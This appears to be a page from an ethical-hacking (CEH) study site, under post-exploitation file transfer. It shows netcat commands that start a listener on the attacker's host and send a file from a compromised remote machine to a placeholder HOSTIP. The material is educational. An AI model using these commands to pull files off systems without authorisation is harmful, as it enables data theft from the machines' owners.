> For the complete documentation index, see [llms.txt](https://ceh.securescape.cc/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ceh.securescape.cc/post-exploitation/file-transfer/netcat.md).

# Netcat

```bash
# Host:
nc -lvnp 9001 | tee file.out
nc -lvnp 9001 > file.out

# Remote:
nc HOSTIP PORT < FILE
```
